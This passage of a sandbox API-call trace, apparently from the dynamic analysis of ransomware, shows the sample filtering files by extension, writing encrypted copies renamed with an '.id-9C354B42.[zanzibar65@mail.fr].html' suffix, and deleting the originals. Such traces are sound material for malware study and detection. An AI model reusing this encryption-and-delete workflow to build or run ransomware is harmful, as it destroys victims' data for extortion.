(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.964] lstrlenW (lpString=".dbf") returned 4 [0274.964] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.964] lstrlenW (lpString=".1cd") returned 4 [0274.964] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.964] lstrlenW (lpString=".jpg") returned 4 [0274.964] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.964] lstrlenW (lpString=".doc") returned 4 [0274.964] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.964] lstrlenW (lpString=".docx") returned 5 [0274.964] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0274.964] lstrlenW (lpString=".pdf") returned 4 [0274.964] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.964] lstrlenW (lpString=".xls") returned 4 [0274.964] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.964] lstrlenW (lpString=".xlsx") returned 5 [0274.964] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0274.964] lstrlenW (lpString=".ppt") returned 4 [0274.964] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.964] lstrlenW (lpString=".zip") returned 4 [0274.964] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.964] lstrlenW (lpString=".rar") returned 4 [0274.964] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.964] lstrlenW (lpString=".bz2") returned 4 [0274.964] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.964] lstrlenW (lpString=".7z") returned 3 [0274.964] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.964] lstrlenW (lpString=".dbf") returned 4 [0274.964] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.965] lstrlenW (lpString=".1cd") returned 4 [0274.965] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0274.965] lstrlenW (lpString=".jpg") returned 4 [0274.965] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.965] lstrcmpiW (lpString1=".HLP", lpString2=".html") returned -1 [0274.965] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0274.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.965] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=343520) returned 1 [0274.965] CloseHandle (hObject=0x354) returned 1 [0274.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp")) returned 0x20 [0274.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.965] lstrlenW (lpString=".doc") returned 4 [0274.965] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0274.965] lstrlenW (lpString=".docx") returned 5 [0274.965] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0274.966] lstrlenW (lpString=".pdf") returned 4 [0274.966] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0274.966] lstrlenW (lpString=".xls") returned 4 [0274.966] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0274.966] lstrlenW (lpString=".xlsx") returned 5 [0274.966] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0274.966] lstrlenW (lpString=".ppt") returned 4 [0274.966] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0274.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.966] lstrlenW (lpString=".zip") returned 4 [0274.966] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0274.966] lstrlenW (lpString=".rar") returned 4 [0274.966] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0274.966] lstrlenW (lpString=".bz2") returned 4 [0274.966] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0274.966] lstrlenW (lpString=".7z") returned 3 [0274.966] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0274.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.966] lstrlenW (lpString=".dbf") returned 4 [0274.966] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0274.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.966] lstrlenW (lpString=".1cd") returned 4 [0274.966] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0274.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.966] lstrlenW (lpString=".jpg") returned 4 [0274.966] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0274.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.966] lstrlenW (lpString=".doc") returned 4 [0274.966] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0274.966] lstrlenW (lpString=".docx") returned 5 [0274.966] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0274.966] lstrlenW (lpString=".pdf") returned 4 [0274.966] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0274.967] lstrlenW (lpString=".xls") returned 4 [0274.967] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0274.967] lstrlenW (lpString=".xlsx") returned 5 [0274.967] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0274.967] lstrlenW (lpString=".ppt") returned 4 [0274.967] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0274.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.967] lstrlenW (lpString=".zip") returned 4 [0274.967] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0274.967] lstrlenW (lpString=".rar") returned 4 [0274.967] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0274.967] lstrlenW (lpString=".bz2") returned 4 [0274.967] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0274.967] lstrlenW (lpString=".7z") returned 3 [0274.967] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0274.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.967] lstrlenW (lpString=".dbf") returned 4 [0274.967] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0274.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.967] lstrlenW (lpString=".1cd") returned 4 [0274.967] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0274.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0274.967] lstrlenW (lpString=".jpg") returned 4 [0274.967] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0274.967] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.967] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0274.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.968] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=275856) returned 1 [0274.968] CloseHandle (hObject=0x354) returned 1 [0274.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20 [0274.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.968] lstrlenW (lpString=".doc") returned 4 [0274.968] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.968] lstrlenW (lpString=".docx") returned 5 [0274.968] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0274.968] lstrlenW (lpString=".pdf") returned 4 [0274.968] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.968] lstrlenW (lpString=".xls") returned 4 [0274.968] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.968] lstrlenW (lpString=".xlsx") returned 5 [0274.968] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0274.968] lstrlenW (lpString=".ppt") returned 4 [0274.968] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.968] lstrlenW (lpString=".zip") returned 4 [0274.968] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.968] lstrlenW (lpString=".rar") returned 4 [0274.968] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.968] lstrlenW (lpString=".bz2") returned 4 [0274.968] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.968] lstrlenW (lpString=".7z") returned 3 [0274.968] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.969] lstrlenW (lpString=".dbf") returned 4 [0274.969] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.969] lstrlenW (lpString=".1cd") returned 4 [0274.969] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.969] lstrlenW (lpString=".jpg") returned 4 [0274.969] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.969] lstrlenW (lpString=".doc") returned 4 [0274.969] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.969] lstrlenW (lpString=".docx") returned 5 [0274.969] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0274.969] lstrlenW (lpString=".pdf") returned 4 [0274.969] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.969] lstrlenW (lpString=".xls") returned 4 [0274.969] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.969] lstrlenW (lpString=".xlsx") returned 5 [0274.969] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0274.969] lstrlenW (lpString=".ppt") returned 4 [0274.969] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.969] lstrlenW (lpString=".zip") returned 4 [0274.969] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.969] lstrlenW (lpString=".rar") returned 4 [0274.969] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.969] lstrlenW (lpString=".bz2") returned 4 [0274.969] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.969] lstrlenW (lpString=".7z") returned 3 [0274.969] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.969] lstrlenW (lpString=".dbf") returned 4 [0274.969] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.970] lstrlenW (lpString=".1cd") returned 4 [0274.970] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0274.970] lstrlenW (lpString=".jpg") returned 4 [0274.970] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.970] lstrcmpiW (lpString1=".VSL", lpString2=".html") returned 1 [0274.970] lstrlenW (lpString="AEC.VSL") returned 7 [0274.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.996] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=69496) returned 1 [0274.996] CloseHandle (hObject=0x398) returned 1 [0274.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20 [0275.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0275.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0275.035] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.035] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 98 os_tid = 0x680 [0266.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x3970ab8 [0266.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x3980ac0 [0266.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f54f8 [0266.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f2fc0 [0266.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5510 [0266.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x3c30020 [0266.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5528 [0266.600] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5528, Size=0x20) returned 0x3992b8 [0266.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5528 [0266.600] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5528, Size=0x20) returned 0x3992e0 [0266.600] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.600] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.600] Wow64DisableWow64FsRedirection (in: OldValue=0x2fbff58 | out: OldValue=0x2fbff58*=0x0) returned 1 [0266.600] lstrlenW (lpString="kernel32.dll") returned 12 [0266.600] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992b8 | out: hHeap=0x2a0000) returned 1 [0266.600] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.600] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992e0 | out: hHeap=0x2a0000) returned 1 [0266.600] Sleep (dwMilliseconds=0x64) [0266.835] Sleep (dwMilliseconds=0x64) [0267.093] lstrcmpiW (lpString1=".dat", lpString2=".html") returned -1 [0267.093] lstrlenW (lpString="bootsqm.dat") returned 11 [0267.094] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.400] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3264) returned 1 [0267.400] CloseHandle (hObject=0x2fc) returned 1 [0267.400] GetFileAttributesW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 0x80 [0267.400] GetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\bootsqm.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.406] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.407] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0267.407] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0267.408] CreateFileW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\bootsqm.dat.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0267.419] GetLastError () returned 0x0 [0267.419] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xcc0, lpOverlapped=0x0) returned 1 [0267.465] WriteFile (in: hFile=0x300, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xcd0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xcd0, lpOverlapped=0x0) returned 1 [0267.466] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0267.466] WriteFile (in: hFile=0x300, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0267.466] SetEndOfFile (hFile=0x300) returned 1 [0267.466] CloseHandle (hObject=0x300) returned 1 [0267.466] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0267.466] SetEndOfFile (hFile=0x2fc) returned 1 [0267.467] CloseHandle (hObject=0x2fc) returned 1 [0267.467] SetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x80) returned 1 [0267.467] DeleteFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 1 [0267.467] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.467] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.467] lstrlenW (lpString=".doc") returned 4 [0267.467] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0267.467] lstrlenW (lpString=".docx") returned 5 [0267.467] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0267.467] lstrlenW (lpString=".pdf") returned 4 [0267.467] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0267.467] lstrlenW (lpString=".xls") returned 4 [0267.467] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0267.467] lstrlenW (lpString=".xlsx") returned 5 [0267.467] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0267.467] lstrlenW (lpString=".ppt") returned 4 [0267.467] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.468] lstrlenW (lpString=".zip") returned 4 [0267.468] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString=".rar") returned 4 [0267.468] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString=".bz2") returned 4 [0267.468] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0267.468] lstrlenW (lpString=".7z") returned 3 [0267.468] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0267.468] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.468] lstrlenW (lpString=".dbf") returned 4 [0267.468] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.468] lstrlenW (lpString=".1cd") returned 4 [0267.468] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0267.468] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.468] lstrlenW (lpString=".jpg") returned 4 [0267.468] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.468] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.468] lstrlenW (lpString=".doc") returned 4 [0267.468] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString=".docx") returned 5 [0267.468] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0267.468] lstrlenW (lpString=".pdf") returned 4 [0267.468] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString=".xls") returned 4 [0267.468] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString=".xlsx") returned 5 [0267.468] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0267.468] lstrlenW (lpString=".ppt") returned 4 [0267.468] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0267.468] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.468] lstrlenW (lpString=".zip") returned 4 [0267.469] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0267.469] lstrlenW (lpString=".rar") returned 4 [0267.469] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0267.469] lstrlenW (lpString=".bz2") returned 4 [0267.469] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0267.469] lstrlenW (lpString=".7z") returned 3 [0267.469] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0267.469] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.469] lstrlenW (lpString=".dbf") returned 4 [0267.469] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0267.469] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.469] lstrlenW (lpString=".1cd") returned 4 [0267.469] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0267.469] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0267.469] lstrlenW (lpString=".jpg") returned 4 [0267.469] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0267.469] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.469] lstrlenW (lpString="kor-kor.xml") returned 11 [0267.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.500] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=392) returned 1 [0267.500] CloseHandle (hObject=0x2fc) returned 1 [0267.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft 